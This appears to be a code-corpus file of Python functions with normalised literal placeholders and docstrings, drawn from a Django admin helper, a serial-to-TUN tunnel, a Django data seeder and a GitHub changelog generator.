{"signature": "def _create_formsets(self, request, obj, change, index, is_template):", "body": "formsets = []<EOL>inline_instances = []<EOL>prefixes = defaultdict(int)<EOL>get_formsets_args = [request]<EOL>if change:<EOL><INDENT>get_formsets_args.append(obj)<EOL><DEDENT>base_prefix = self.get_formset(request).get_default_prefix()<EOL>for FormSet, inline in self.get_formsets_with_inlines(<EOL>*get_formsets_args):<EOL><INDENT>prefix = base_prefix + '<STR_LIT:->' + FormSet.get_default_prefix()<EOL>if not is_template:<EOL><INDENT>prefix += '<STR_LIT>' % index<EOL><DEDENT>prefixes[prefix] += <NUM_LIT:1><EOL>if prefixes[prefix] != <NUM_LIT:1> or not prefix:<EOL><INDENT>prefix = \"<STR_LIT>\" % (prefix, prefixes[prefix])<EOL><DEDENT>formset_params = {<EOL>'<STR_LIT>': obj,<EOL>'<STR_LIT>': prefix,<EOL>'<STR_LIT>': inline.get_queryset(request),<EOL>}<EOL>if request.method == '<STR_LIT:POST>':<EOL><INDENT>formset_params.update({<EOL>'<STR_LIT:data>': request.POST,<EOL>'<STR_LIT>': request.FILES,<EOL>'<STR_LIT>': '<STR_LIT>' in request.POST<EOL>})<EOL><DEDENT>formset = FormSet(**formset_params)<EOL>formset.has_parent = True<EOL>formsets.append(formset)<EOL>inline_instances.append(inline)<EOL><DEDENT>return formsets, inline_instances<EOL>", "docstring": "Helper function to generate formsets for add/change_view.", "id": "f4898:c0:m2"}
{"signature": "def send(self, msg):", "body": "<EOL>slipDriver = sliplib.Driver()<EOL>slipData = slipDriver.send(msg)<EOL>res = self._serialPort.write(slipData)<EOL>return res<EOL>", "docstring": "Encodes data to slip protocol and then sends over serial port\n\n        Uses the SlipLib module to convert the message data into SLIP format.\n        The message is then sent over the serial port opened with the instance\n        of the Faraday class used when invoking send().\n\n        Args:\n            msg (bytes): Bytes format message to send over serial port.\n\n        Returns:\n            int: Number of bytes transmitted over the serial port.", "id": "f4902:c0:m1"}
{"signature": "def receive(self, length):", "body": "<EOL>slipDriver = sliplib.Driver()<EOL>ret = self._serialPort.read(length)<EOL>temp = slipDriver.receive(ret)<EOL>return iter(temp)<EOL>", "docstring": "Reads in data from a serial port (length bytes), decodes SLIP packets\n\n        A function which reads from the serial port and then uses the SlipLib\n        module to decode the SLIP protocol packets. Each message received\n        is added to a receive buffer in SlipLib which is then returned.\n\n        Args:\n            length (int): Length to receive with serialPort.read(length)\n\n        Returns:\n            bytes: An iterator of the receive buffer", "id": "f4902:c0:m2"}
{"signature": "def __del__(self):", "body": "self._tun.down()<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "Clean up TUN when the TunnelServer class is destroyed", "id": "f4902:c1:m1"}
{"signature": "@timeout_decorator.timeout(<NUM_LIT:1>, use_signals=False)<EOL><INDENT>def checkTUN(self):<DEDENT>", "body": "packet = self._TUN._tun.read(self._TUN._tun.mtu)<EOL>return(packet)<EOL>", "docstring": "Checks the TUN adapter for data and returns any that is found.\n\nReturns:\n    packet: Data read from the TUN adapter", "id": "f4902:c2:m1"}
{"signature": "def monitorTUN(self):", "body": "packet = self.checkTUN()<EOL>if packet:<EOL><INDENT>try:<EOL><INDENT>ret = self._faraday.send(packet)<EOL>return ret<EOL><DEDENT>except AttributeError as error:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Monitors the TUN adapter and sends data over serial port.\n\nReturns:\n    ret: Number of bytes sent over serial port", "id": "f4902:c2:m2"}
{"signature": "def rxSerial(self, length):", "body": "return(self._faraday.receive(length))<EOL>", "docstring": "Checks the serial port for data and returns any that is found.\n\nArgs:\n    length: Number of bytes to read from serial port\n\nReturns:\n    data: Data received from serial port", "id": "f4902:c2:m3"}
{"signature": "def txSerial(self, data):", "body": "return self._faraday.send(data)<EOL>", "docstring": "Sends data over serial port.\n\nArgs:\n    data: Data to be sent over serial port\n\nReturns:\n    length: Number of bytes sent over serial port", "id": "f4902:c2:m4"}
{"signature": "def checkSerial(self):", "body": "for item in self.rxSerial(self._TUN._tun.mtu):<EOL><INDENT>try:<EOL><INDENT>self._TUN._tun.write(item)<EOL><DEDENT>except pytun.Error as error:<EOL><INDENT>print(\"<STR_LIT>\".format(item))<EOL>print(error)<EOL><DEDENT><DEDENT>", "docstring": "Check the serial port for data to write to the TUN adapter.", "id": "f4902:c2:m5"}
{"signature": "def run(self):", "body": "while self.isRunning.is_set():<EOL><INDENT>try:<EOL><INDENT>try:<EOL><INDENT>self.monitorTUN()<EOL><DEDENT>except timeout_decorator.TimeoutError as error:<EOL><INDENT>pass<EOL><DEDENT>self.checkSerial()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Wrapper function for TUN and serial port monitoring\n\nWraps the necessary functions to loop over until self._isRunning\nthreading.Event() is set(). This checks for data on the TUN/serial\ninterfaces and then sends data over the appropriate interface. This\nfunction is automatically run when Threading.start() is called on the\nMonitor class.", "id": "f4902:c2:m6"}
{"signature": "def __init__(self):", "body": "self._port = \"<STR_LIT>\"<EOL>self._timeout = <NUM_LIT:0><EOL>self._baudrate = <NUM_LIT><EOL>self.serialPort =serial.serial_for_url(url=self._port,<EOL>timeout=self._timeout,<EOL>baudrate=self._baudrate)<EOL>", "docstring": "Creates a mock serial port which is a loopback object", "id": "f4902:c3:m0"}
{"signature": "def isPortAvailable(port='<STR_LIT>'):", "body": "isPortAvailable = serial.tools.list_ports.grep(port)<EOL>try:<EOL><INDENT>next(isPortAvailable)<EOL>available = True<EOL><DEDENT>except StopIteration:<EOL><INDENT>available = False<EOL><DEDENT>return available<EOL>", "docstring": "Checks whether specified port is available.\n\nSource code derived from @lqdev suggestion per #38\n\nArgs:\n    port: Serial port location i.e. 'COM1'. Default is /dev/ttyUSB0\n\nReturns:\n    available: Boolean value indicating presence of port", "id": "f4902:c3:m1"}
{"signature": "def toposort(data):", "body": "<EOL>if len(data) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>data = data.copy()<EOL>for k, v in data.items():<EOL><INDENT>v.discard(k)<EOL><DEDENT>extra_items_in_deps = _reduce(set.union, data.values()) - set(data.keys())<EOL>data.update({item:set() for item in extra_items_in_deps})<EOL>while True:<EOL><INDENT>ordered = set(item for item, dep in data.items() if len(dep) == <NUM_LIT:0>)<EOL>if not ordered:<EOL><INDENT>break<EOL><DEDENT>yield ordered<EOL>data = {item: (dep - ordered)<EOL>for item, dep in data.items()<EOL>if item not in ordered}<EOL><DEDENT>if len(data) != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(repr(x) for x in data.items())))<EOL><DEDENT>", "docstring": "Dependencies are expressed as a dictionary whose keys are items\nand whose values are a set of dependent items. Output is a list of\nsets in topological order. The first set consists of items with no\ndependences, each subsequent set consists of items that depend upon\nitems in the preceeding sets.", "id": "f4909:m0"}
{"signature": "def toposort_flatten(data, sort=True):", "body": "result = []<EOL>for d in toposort(data):<EOL><INDENT>try:<EOL><INDENT>result.extend((sorted if sort else list)(d))<EOL><DEDENT>except TypeError as e:<EOL><INDENT>result.extend(list(d))<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Returns a single list of dependencies. For any set returned by\ntoposort(), those items are sorted and appended to the result (just to\nmake the results deterministic).", "id": "f4909:m1"}
{"signature": "def _timezone_format(value):", "body": "return timezone.make_aware(value, timezone.get_current_timezone()) if getattr(settings, '<STR_LIT>', False) else value<EOL>", "docstring": "Generates a timezone aware datetime if the 'USE_TZ' setting is enabled\n\n:param value: The datetime value\n:return: A locale aware datetime", "id": "f4910:m0"}
{"signature": "def guess_format(self, name):", "body": "name = name.lower()<EOL>faker = self.faker<EOL>if re.findall(r'<STR_LIT>', name): return lambda x: faker.boolean()<EOL>elif re.findall(r'<STR_LIT>', name): return lambda x: _timezone_format(faker.date_time())<EOL>if name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'): return lambda x: faker.first_name()<EOL>if name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'): return lambda x: faker.last_name()<EOL>if name in ('<STR_LIT:username>', '<STR_LIT>', '<STR_LIT>'): return lambda x:faker.user_name()<EOL>if name in ('<STR_LIT:email>', '<STR_LIT>'): return lambda x:faker.email()<EOL>if name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'): return lambda x:faker.phone_number()<EOL>if name == '<STR_LIT:address>': return lambda x:faker.address()<EOL>if name == '<STR_LIT>': return lambda x: faker.city()<EOL>if name == '<STR_LIT>': return lambda x: faker.street_address()<EOL>if name in ('<STR_LIT>', '<STR_LIT>'): return lambda x: faker.postcode()<EOL>if name == '<STR_LIT:state>': return lambda x: faker.state()<EOL>if name == '<STR_LIT>': return lambda x: faker.country()<EOL>if name == '<STR_LIT:title>': return lambda x: faker.sentence()<EOL>if name in ('<STR_LIT:body>', '<STR_LIT>', '<STR_LIT:description>'): return lambda x: faker.text()<EOL>", "docstring": "Returns a faker method based on the field's name\n:param name:", "id": "f4910:c0:m1"}
{"signature": "def __init__(self, faker):", "body": "self.faker = faker<EOL>self.provider = Provider(self.faker)<EOL>", "docstring": ":param faker: Generator", "id": "f4910:c1:m0"}
{"signature": "def guess_format(self, field):", "body": "faker = self.faker<EOL>provider = self.provider<EOL>if isinstance(field, DurationField): return lambda x: provider.duration()<EOL>if isinstance(field, UUIDField): return lambda x: provider.uuid()<EOL>if isinstance(field, BooleanField): return lambda x: faker.boolean()<EOL>if isinstance(field, NullBooleanField): return lambda x: faker.null_boolean()<EOL>if isinstance(field, PositiveSmallIntegerField): return lambda x: provider.rand_small_int(pos=True)<EOL>if isinstance(field, SmallIntegerField): return lambda x: provider.rand_small_int()<EOL>if isinstance(field, BigIntegerField): return lambda x: provider.rand_big_int()<EOL>if isinstance(field, PositiveIntegerField): return lambda x: provider.rand_small_int(pos=True)<EOL>if isinstance(field, IntegerField): return lambda x: provider.rand_small_int()<EOL>if isinstance(field, FloatField): return lambda x: provider.rand_float()<EOL>if isinstance(field, DecimalField): return lambda x: random.random()<EOL>if isinstance(field, URLField): return lambda x: faker.uri()<EOL>if isinstance(field, SlugField): return lambda x: faker.uri_page()<EOL>if isinstance(field, IPAddressField) or isinstance(field, GenericIPAddressField):<EOL><INDENT>protocol = random.choice(['<STR_LIT>','<STR_LIT>'])<EOL>return lambda x: getattr(faker, protocol)()<EOL><DEDENT>if isinstance(field, EmailField): return lambda x: faker.email()<EOL>if isinstance(field, CommaSeparatedIntegerField):<EOL><INDENT>return lambda x: provider.comma_sep_ints()<EOL><DEDENT>if isinstance(field, BinaryField): return lambda x: provider.binary()<EOL>if isinstance(field, ImageField): return lambda x: provider.file_name()<EOL>if isinstance(field, FilePathField): return lambda x: provider.file_name()<EOL>if isinstance(field, FileField): return lambda x: provider.file_name()<EOL>if isinstance(field, CharField):<EOL><INDENT>if field.choices:<EOL><INDENT>return lambda x: random.choice(field.choices)[<NUM_LIT:0>]<EOL><DEDENT>return lambda x: faker.text(field.max_length) if field.max_length >= <NUM_LIT:5> else faker.word()<EOL><DEDENT>if isinstance(field, TextField): return lambda x: faker.text()<EOL>if isinstance(field, DateTimeField):<EOL><INDENT>return lambda x: _timezone_format(faker.date_time())<EOL><DEDENT>if isinstance(field, DateField): return lambda x: faker.date()<EOL>if isinstance(field, TimeField): return lambda x: faker.time()<EOL>raise AttributeError(field)<EOL>", "docstring": "Returns the correct faker function based on the field type\n:param field:", "id": "f4910:c1:m1"}
{"signature": "@contextmanager<EOL>def django_setting(name, value):", "body": "original_value = getattr(settings, name)<EOL>setattr(settings, name, value)<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>setattr(settings, name, original_value)<EOL><DEDENT>", "docstring": "Generator that mutates the django.settings object during the context of a test run.\n\n:param name: The setting name to be affected\n:param value: The setting value to be defined during the execution\n:return:", "id": "f4913:m0"}
{"signature": "def __init__(self, model):", "body": "self.model = model<EOL>self.field_formatters = {}<EOL>", "docstring": ":param model: Generator", "id": "f4914:c0:m0"}
{"signature": "def guess_field_formatters(self, faker):", "body": "formatters = {}<EOL>name_guesser = NameGuesser(faker)<EOL>field_type_guesser = FieldTypeGuesser(faker)<EOL>for field in self.model._meta.fields:<EOL><INDENT>field_name = field.name<EOL>if field.get_default(): <EOL><INDENT>formatters[field_name] = field.get_default()<EOL>continue<EOL><DEDENT>if isinstance(field, (ForeignKey, ManyToManyField, OneToOneField)):<EOL><INDENT>formatters[field_name] = self.build_relation(field, field.related_model)<EOL>continue<EOL><DEDENT>if isinstance(field, AutoField):<EOL><INDENT>continue<EOL><DEDENT>if not field.choices:<EOL><INDENT>formatter = name_guesser.guess_format(field_name)<EOL>if formatter:<EOL><INDENT>formatters[field_name] = formatter<EOL>continue<EOL><DEDENT><DEDENT>formatter = field_type_guesser.guess_format(field)<EOL>if formatter:<EOL><INDENT>formatters[field_name] = formatter<EOL>continue<EOL><DEDENT><DEDENT>return formatters<EOL>", "docstring": "Gets the formatter methods for each field using the guessers\nor related object fields\n:param faker: Faker factory object", "id": "f4914:c0:m2"}
{"signature": "def execute(self, using, inserted_entities):", "body": "def format_field(format, inserted_entities):<EOL><INDENT>if callable(format):<EOL><INDENT>return format(inserted_entities)<EOL><DEDENT>return format<EOL><DEDENT>def turn_off_auto_add(model):<EOL><INDENT>for field in model._meta.fields:<EOL><INDENT>if getattr(field, '<STR_LIT>', False):<EOL><INDENT>field.auto_now = False<EOL><DEDENT>if getattr(field, '<STR_LIT>', False):<EOL><INDENT>field.auto_now_add = False<EOL><DEDENT><DEDENT><DEDENT>manager = self.model.objects.db_manager(using=using)<EOL>turn_off_auto_add(manager.model)<EOL>faker_data = {<EOL>field: format_field(field_format, inserted_entities)<EOL>for field, field_format in self.field_formatters.items()<EOL>}<EOL>for data_field in faker_data:<EOL><INDENT>field = self.model._meta.get_field(data_field)<EOL>if field.max_length and isinstance(faker_data[data_field], str):<EOL><INDENT>faker_data[data_field] = faker_data[data_field][:field.max_length]<EOL><DEDENT><DEDENT>obj = manager.create(**faker_data)<EOL>return obj.pk<EOL>", "docstring": "Execute the stages entities to insert\n:param using:\n:param inserted_entities:", "id": "f4914:c0:m3"}
{"signature": "def __init__(self, faker):", "body": "self.faker = faker<EOL>self.entities = {}<EOL>self.quantities = {}<EOL>self.orders = []<EOL>", "docstring": ":param faker: Generator", "id": "f4914:c1:m0"}
{"signature": "def add_entity(self, model, number, customFieldFormatters=None):", "body": "if not isinstance(model, ModelSeeder):<EOL><INDENT>model = ModelSeeder(model)<EOL><DEDENT>model.field_formatters = model.guess_field_formatters(self.faker)<EOL>if customFieldFormatters:<EOL><INDENT>model.field_formatters.update(customFieldFormatters)<EOL><DEDENT>klass = model.model<EOL>self.entities[klass] = model<EOL>self.quantities[klass] = number<EOL>self.orders.append(klass)<EOL>", "docstring": "Add an order for the generation of $number records for $entity.\n\n:param model: mixed A Django Model classname,\nor a faker.orm.django.EntitySeeder instance\n:type model: Model\n:param number: int The number of entities to seed\n:type number: integer\n:param customFieldFormatters: optional dict with field as key and \ncallable as value\n:type customFieldFormatters: dict or None", "id": "f4914:c1:m1"}
{"signature": "def execute(self, using=None):", "body": "if not using:<EOL><INDENT>using = self.get_connection()<EOL><DEDENT>inserted_entities = {}<EOL>for klass in self.orders:<EOL><INDENT>number = self.quantities[klass]<EOL>if klass not in inserted_entities:<EOL><INDENT>inserted_entities[klass] = []<EOL><DEDENT>for i in range(<NUM_LIT:0>, number):<EOL><INDENT>entity = self.entities[klass].execute(using, inserted_entities)<EOL>inserted_entities[klass].append(entity)<EOL><DEDENT><DEDENT>return inserted_entities<EOL>", "docstring": "Populate the database using all the Entity classes previously added.\n\n:param using A Django database connection name\n:rtype: A list of the inserted PKs", "id": "f4914:c1:m2"}
{"signature": "def get_connection(self):", "body": "klass = self.entities.keys()<EOL>if not klass:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise SeederException(message)<EOL><DEDENT>klass = list(klass)[<NUM_LIT:0>]<EOL>return klass.objects._db<EOL>", "docstring": "use the first connection available\n:rtype: Connection", "id": "f4914:c1:m3"}
{"signature": "def NextPage(gh):", "body": "header = dict(gh.getheaders())<EOL>if '<STR_LIT>' in header:<EOL><INDENT>parts = header['<STR_LIT>'].split('<STR_LIT:U+002C>')<EOL>for part in parts:<EOL><INDENT>subparts = part.split('<STR_LIT:;>')<EOL>sub = subparts[<NUM_LIT:1>].split('<STR_LIT:=>')<EOL>if sub[<NUM_LIT:0>].strip() == '<STR_LIT>':<EOL><INDENT>if sub[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>page = int(<EOL>re.match(<EOL>r'<STR_LIT>', subparts[<NUM_LIT:0>],<EOL>re.IGNORECASE | re.DOTALL | re.UNICODE<EOL>).groups()[<NUM_LIT:0>]<EOL>)<EOL>return page<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Checks if a GitHub call returned multiple pages of data.\n\n:param gh: GitHub() instance\n:rtype: int\n:return: number of next page or 0 if no next page", "id": "f4919:m0"}
{"signature": "def fetch_github_token(self):", "body": "if not self.options.token:<EOL><INDENT>try:<EOL><INDENT>for v in GH_CFG_VARS:<EOL><INDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'.format(v)]<EOL>self.options.token = subprocess.Popen(<EOL>cmd, stdout=subprocess.PIPE).communicate()[<NUM_LIT:0>].strip()<EOL>if self.options.token:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>except (subprocess.CalledProcessError, WindowsError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not self.options.token:<EOL><INDENT>self.options.token = os.environ.get(CHANGELOG_GITHUB_TOKEN)<EOL><DEDENT>if not self.options.token:<EOL><INDENT>print(NO_TOKEN_PROVIDED)<EOL><DEDENT>", "docstring": "Fetch GitHub token. First try to use variable provided\nby --token option, otherwise try to fetch it from git config\nand last CHANGELOG_GITHUB_TOKEN env variable.\n\n:returns: Nothing", "id": "f4919:c0:m1"}
{"signature": "def get_all_tags(self):", "body": "verbose = self.options.verbose<EOL>gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>tags = []<EOL>page = <NUM_LIT:1><EOL>while page > <NUM_LIT:0>:<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL><DEDENT>rc, data = gh.repos[user][repo].tags.get(<EOL>page=page, per_page=PER_PAGE_NUMBER)<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>tags.extend(data)<EOL><DEDENT>else:<EOL><INDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL><DEDENT>page = NextPage(gh)<EOL><DEDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>if len(tags) == <NUM_LIT:0>:<EOL><INDENT>if not self.options.quiet:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>exit()<EOL><DEDENT><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(len(tags)))<EOL><DEDENT>return tags<EOL>", "docstring": "Fetch all tags for repository from Github.\n\n:return: tags in repository\n:rtype: list", "id": "f4919:c0:m2"}
{"signature": "def fetch_closed_issues_and_pr(self):", "body": "verbose = self.options.verbose<EOL>gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>data = []<EOL>issues = []<EOL>data = []<EOL>page = <NUM_LIT:1><EOL>while page > <NUM_LIT:0>:<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL><DEDENT>rc, data = gh.repos[user][repo].issues.get(<EOL>page=page, per_page=PER_PAGE_NUMBER,<EOL>state='<STR_LIT>', filter='<STR_LIT:all>'<EOL>)<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>issues.extend(data)<EOL><DEDENT>else:<EOL><INDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL><DEDENT>if len(issues) >= self.options.max_issues:<EOL><INDENT>break<EOL><DEDENT>page = NextPage(gh)<EOL><DEDENT>self.first_issue = data[-<NUM_LIT:1>] if len(data) > <NUM_LIT:0> else []<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>prs = []<EOL>iss = []<EOL>for i in issues:<EOL><INDENT>if \"<STR_LIT>\" in i:<EOL><INDENT>prs.append(i)<EOL><DEDENT>else:<EOL><INDENT>iss.append(i)<EOL><DEDENT><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>len(iss), len(prs))<EOL>)<EOL><DEDENT>return iss, prs<EOL>", "docstring": "This method fetches all closed issues and separate them to\npull requests and pure issues (pull request is kind of issue\nin term of GitHub).\n\n:rtype: list, list\n:return: issues, pull-requests", "id": "f4919:c0:m3"}
{"signature": "def fetch_closed_pull_requests(self):", "body": "pull_requests = []<EOL>verbose = self.options.verbose<EOL>gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>page = <NUM_LIT:1><EOL>while page > <NUM_LIT:0>:<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL><DEDENT>if self.options.release_branch:<EOL><INDENT>rc, data = gh.repos[user][repo].pulls.get(<EOL>page=page, per_page=PER_PAGE_NUMBER, state='<STR_LIT>',<EOL>base=self.options.release_branch<EOL>)<EOL><DEDENT>else:<EOL><INDENT>rc, data = gh.repos[user][repo].pulls.get(<EOL>page=page, per_page=PER_PAGE_NUMBER, state='<STR_LIT>',<EOL>)<EOL><DEDENT>if rc == <NUM_LIT:200>:<EOL><INDENT>pull_requests.extend(data)<EOL><DEDENT>else:<EOL><INDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL><DEDENT>page = NextPage(gh)<EOL><DEDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>len(pull_requests))<EOL>)<EOL><DEDENT>return pull_requests<EOL>", "docstring": "Fetch all pull requests. We need them to detect \"merged_at\" parameter\n\n:rtype: list\n:return: all pull requests", "id": "f4919:c0:m4"}
{"signature": "def fetch_repo_creation_date(self):", "body": "gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>rc, data = gh.repos[user][repo].get()<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>return REPO_CREATED_TAG_NAME, data[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL><DEDENT>return None, None<EOL>", "docstring": "Get the creation date of the repository from GitHub.\n\n:rtype: str, str\n:return: special tag name, creation date as ISO date string", "id": "f4919:c0:m5"}
{"signature": "def fetch_events_async(self, issues, tag_name):", "body": "if not issues:<EOL><INDENT>return issues<EOL><DEDENT>max_simultaneous_requests = self.options.max_simultaneous_requests<EOL>verbose = self.options.verbose<EOL>gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>self.events_cnt = <NUM_LIT:0><EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>len(issues), tag_name)<EOL>)<EOL><DEDENT>def worker(issue):<EOL><INDENT>page = <NUM_LIT:1><EOL>issue['<STR_LIT>'] = []<EOL>while page > <NUM_LIT:0>:<EOL><INDENT>rc, data = gh.repos[user][repo].issues[<EOL>issue['<STR_LIT>']].events.get(<EOL>page=page, per_page=PER_PAGE_NUMBER)<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>issue['<STR_LIT>'].extend(data)<EOL>self.events_cnt += len(data)<EOL><DEDENT>else:<EOL><INDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL><DEDENT>page = NextPage(gh)<EOL><DEDENT><DEDENT>threads = []<EOL>cnt = len(issues)<EOL>for i in range(<NUM_LIT:0>, (cnt // max_simultaneous_requests) + <NUM_LIT:1>):<EOL><INDENT>for j in range(max_simultaneous_requests):<EOL><INDENT>idx = i * max_simultaneous_requests + j<EOL>if idx == cnt:<EOL><INDENT>break<EOL><DEDENT>t = threading.Thread(target=worker, args=(issues[idx],))<EOL>threads.append(t)<EOL>t.start()<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL>if not idx % PER_PAGE_NUMBER:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT><DEDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>", "docstring": "Fetch events for all issues and add them to self.events\n\n:param list issues: all issues\n:param str tag_name: name of the tag to fetch events for\n:returns: Nothing", "id": "f4919:c0:m6"}
{"signature": "def fetch_date_of_tag(self, tag):", "body": "if self.options.verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(tag[\"<STR_LIT:name>\"]))<EOL><DEDENT>gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>rc, data = gh.repos[user][repo].git.commits[<EOL>tag[\"<STR_LIT>\"][\"<STR_LIT>\"]].get()<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>return data[\"<STR_LIT>\"][\"<STR_LIT:date>\"]<EOL><DEDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL>", "docstring": "Fetch time for tag from repository.\n\n:param dict tag: dictionary with tag information\n:rtype: str\n:return: time of specified tag as ISO date string", "id": "f4919:c0:m7"}
{"signature": "def fetch_commit(self, event):", "body": "gh = self.github<EOL>user = self.options.user<EOL>repo = self.options.project<EOL>rc, data = gh.repos[user][repo].git.commits[<EOL>event[\"<STR_LIT>\"]].get()<EOL>if rc == <NUM_LIT:200>:<EOL><INDENT>return data<EOL><DEDENT>self.raise_GitHubError(rc, data, gh.getheaders())<EOL>", "docstring": "Fetch commit data for specified event.\n\n:param dict event: dictionary with event information\n:rtype: dict\n:return: dictionary with commit data", "id": "f4919:c0:m8"}
{"signature": "def __init__(self, options=None):", "body": "self.options = OptionsParser(options).options<EOL>self.generator = Generator(self.options)<EOL>", "docstring": ":type options: list\n:param options: command line arguments", "id": "f4922:c0:m0"}
{"signature": "def run(self):", "body": "if not self.options.project or not self.options.user:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if not self.options.quiet:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>log = None<EOL>try:<EOL><INDENT>log = self.generator.compound_changelog()<EOL><DEDENT>except ChangelogGeneratorError as err:<EOL><INDENT>print(\"<STR_LIT>\".format(err.args[<NUM_LIT:0>]))<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>if not log:<EOL><INDENT>if not self.options.quiet:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>self.options.output)<EOL>)<EOL><DEDENT>return<EOL><DEDENT>if self.options.no_overwrite:<EOL><INDENT>out = checkname(self.options.output)<EOL><DEDENT>else:<EOL><INDENT>out = self.options.output<EOL><DEDENT>with codecs.open(out, \"<STR_LIT:w>\", \"<STR_LIT:utf-8>\") as fh:<EOL><INDENT>fh.write(log)<EOL><DEDENT>if not self.options.quiet:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(out))<EOL><DEDENT>", "docstring": "The entry point of this script to generate change log\n'ChangelogGeneratorError' Is thrown when one\nof the specified tags was not found in list of tags.", "id": "f4922:c0:m1"}
{"signature": "def parse_heading(heading):", "body": "heading_structures = [<EOL>r\"<STR_LIT>\",<EOL>r\"<STR_LIT>\",<EOL>]<EOL>captures = {\"<STR_LIT:version>\": None, \"<STR_LIT:url>\": None, \"<STR_LIT:date>\": None}<EOL>for regexp in heading_structures:<EOL><INDENT>matches = re.match(regexp, heading)<EOL>if matches:<EOL><INDENT>captures.update(matches.groupdict())<EOL>break<EOL><DEDENT><DEDENT>return captures<EOL>", "docstring": "Parse a single heading and return a Hash\nThe following heading structures are currently valid:\n- ## [v1.0.2](https://github.com/zanui/chef-thumbor/tree/v1.0.1) (2015-03-24)\n- ## [v1.0.2](https://github.com/zanui/chef-thumbor/tree/v1.0.1)\n- ## v1.0.2 (2015-03-24)\n- ## v1.0.2\n\n@param [String] heading Heading from the ChangeLog File\n@return [Hash] Returns a structured Hash with version, url and date", "id": "f4924:m0"}
{"signature": "def parse(data):", "body": "sections = re.compile(\"<STR_LIT>\", re.MULTILINE).split(data)<EOL>headings = re.findall(\"<STR_LIT>\", data, re.MULTILINE)<EOL>sections.pop(<NUM_LIT:0>)<EOL>parsed = []<EOL>def func(h, s):<EOL><INDENT>p = parse_heading(h)<EOL>p[\"<STR_LIT:content>\"] = s<EOL>parsed.append(p)<EOL><DEDENT>list(map(func, headings, sections))<EOL>return parsed<EOL>", "docstring": "Parse the given ChangeLog data into a list of Hashes.\n\n@param [String] data File data from the ChangeLog.md\n@return [Array<Hash>] Parsed data, e.g. [{ 'version' => ..., 'url' => ..., 'date' => ..., 'content' => ...}, ...]", "id": "f4924:m1"}
